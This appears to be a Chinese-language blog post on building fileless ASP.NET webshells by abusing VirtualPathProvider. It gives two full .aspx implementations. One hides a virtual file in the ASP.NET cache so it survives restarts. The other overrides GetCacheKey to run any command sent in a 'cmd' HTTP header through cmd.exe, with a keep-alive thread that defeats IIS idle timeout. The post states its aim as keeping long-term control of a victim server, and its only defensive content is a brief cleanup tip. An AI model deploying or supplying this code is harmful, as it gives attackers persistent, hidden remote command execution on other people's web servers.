ASP.NET 記憶體木馬實作

透過註冊VirtualFile

概念

.Net Framework提供了VirtualPathProvider可以建立虛擬檔案,通常應該是MVC架構比較會用到,我們可以濫用這個機制來建立無檔案後門,也就是常說的記憶體木馬,實作部分有問題的可以參考連結[1]、[2]。

不過此種方法其實是將檔案藏在快取資料夾中,不是真正意義上的無檔案後門,但是也因為此特性,導致可以長時間的控制對方,在快取時間結束前檔案都不會消失,不受IIS重新啟動影響,甚至重新開機也不影響。

備註:

如果想清除這種類型的後門,可以先將IIS關閉,並到C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files找到對應的檔案刪除後再啟動IIS就可以了。

實作

<%@ Page Language="C#" %>
<%@ import Namespace="System.IO" %>
<%@ import Namespace="System.Web" %>
<%@ import Namespace="System.Reflection" %>
<%@ import Namespace="System.Web.Hosting" %>
<%@ import Namespace="System.Web.Compilation" %>
<script runat="server">
	class SamplePathProvider: VirtualPathProvider
    {
		private string _virtualDir = "/shell.aspx";
        private string _fileContent = "zxc";
		
		private bool IsPathVirtual(string virtualPath) { return VirtualPathUtility.ToAppRelative(virtualPath).ToLower().Contains(this._virtualDir.ToLower());}

		public override bool FileExists(string virtualPath) { return this.IsPathVirtual(virtualPath) || this.Previous.FileExists(virtualPath);}

		public override bool DirectoryExists(string virtualDir) { return this.IsPathVirtual(virtualDir) || this.Previous.DirectoryExists(virtualDir);}

		public override VirtualFile GetFile(string virtualPath) { return this.IsPathVirtual(virtualPath) ? (VirtualFile) new SampleVirtualFile(virtualPath, this._fileContent) : this.Previous.GetFile(virtualPath);}

		public override CacheDependency GetCacheDependency(
		  string virtualPath,
		  IEnumerable virtualPathDependencies,
		  DateTime utcStart)
		{
		  return this.IsPathVirtual(virtualPath) ? new CacheDependency("c:\\") : this.Previous.GetCacheDependency(virtualPath, virtualPathDependencies, utcStart);
		}
    }
	
	public class SampleVirtualFile : VirtualFile
	{
		private string _fileContent;

		public bool Exists = true;

		public SampleVirtualFile(string virtualPath, string fileContent)
		  : base(virtualPath)
		{
		  this._fileContent = fileContent;
		}

		public override Stream Open() { return (Stream) new MemoryStream(Encoding.UTF8.GetBytes(this._fileContent));}
	}
</script>
<%
	SamplePathProvider samplePathProvider = new SamplePathProvider();
	samplePathProvider.InitializeLifetimeService();
    HostingEnvironment.RegisterVirtualPathProvider((VirtualPathProvider) samplePathProvider);
%>

效果

參考

[1] https://docs.microsoft.com/zh-tw/dotnet/api/system.web.hosting.virtualpathprovider?view=netframework-4.8

[2] https://github.com/pwntester/ysoserial.net/blob/master/ExploitClass/GhostWebShell.cs

[3] https://github.com/yzddmr6/As-Exploits/blob/master/core/memshell_inject/payload.js

透過複寫GetCacheKey方法

概念

當Application Pool有註冊VirtualPathProvider時,IIS將請求丟給framework執行時,會先呼叫GetCacheKey方法,所以只需要把GetCacheKey方法複寫,讓他可以接收我們輸入並執行對應的動作,就是一個很完美的無檔案後門,因為不管請求的檔案存不存在都會呼叫,比如123.ashx、index.asmx、default.aspx等,都可以觸發。

但是這種方法只要AP重新啟動就會失效,所以會受到IIS的兩項設定影響:

  • Idle Time-out
  • Regular Time Interval

前者預設20分鐘,當IIS沒收到請求的20分鐘後就會自動關閉AP,等下一個請求到來時再啟動,解決方法就是在註冊VirtualPathProvider時順便建立一個執行緒,讓他持續地發送請求到IIS,就可以繞過此項設定。

而後者預設是29小時,且是強制性的,當網站持續執行29小時後IIS會強制重啟AP,這個時候webshell同樣會失效,且這個是無解的,所以如果想長時間控制對方不建議使用此方法。

實作

<%@ Page Language="C#" %>
<%@ import Namespace="System.IO" %>
<%@ import Namespace="System.Web" %>
<%@ import Namespace="System.Reflection" %>
<%@ import Namespace="System.Web.Hosting" %>
<%@ import Namespace="System.Web.Compilation" %>
<%@ import Namespace="System.Threading" %>
<script runat="server">
	class SamplePathProvider: VirtualPathProvider
    {
		public SamplePathProvider()
		{
			new Thread(new ThreadStart(this.keepAlive)).Start();
		}
		
        public override string GetCacheKey(string virtualPath)
        {
            HttpContext current = HttpContext.Current;
            string cmd = current.Request.Headers.Get("cmd");
            if (cmd != null)
            {
				current.Server.ClearError();
                current.Response.Clear();
                System.Diagnostics.Process process = new System.Diagnostics.Process();
                process.StartInfo.FileName = "cmd.exe";
                process.StartInfo.CreateNoWindow = true;
                process.StartInfo.UseShellExecute = false;
                process.StartInfo.RedirectStandardInput = true;
                process.StartInfo.RedirectStandardOutput = true;
                process.StartInfo.RedirectStandardError = true;
                process.StartInfo.Arguments = "/c " + cmd;
                process.Start();
                process.WaitForExit();
                current.Response.Write(process.StandardOutput.ReadToEnd());
                process.Close();
				current.Response.Flush();
                current.Response.End();
            }
            return base.GetCacheKey(virtualPath);
        }
		
		private void keepAlive()
        {
            while (true)
            {
                Thread.Sleep(300000);
                System.Net.WebClient wc = new System.Net.WebClient();
                wc.OpenRead("http://127.0.0.1/app.publish/WebForm1.aspx");
            }
        }
    }
</script>
<%
	SamplePathProvider samplePathProvider = new SamplePathProvider();
	samplePathProvider.InitializeLifetimeService();
    HostingEnvironment.RegisterVirtualPathProvider((VirtualPathProvider) samplePathProvider);
%>

效果

參考

[1] https://github.com/BeichenDream/Godzilla

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。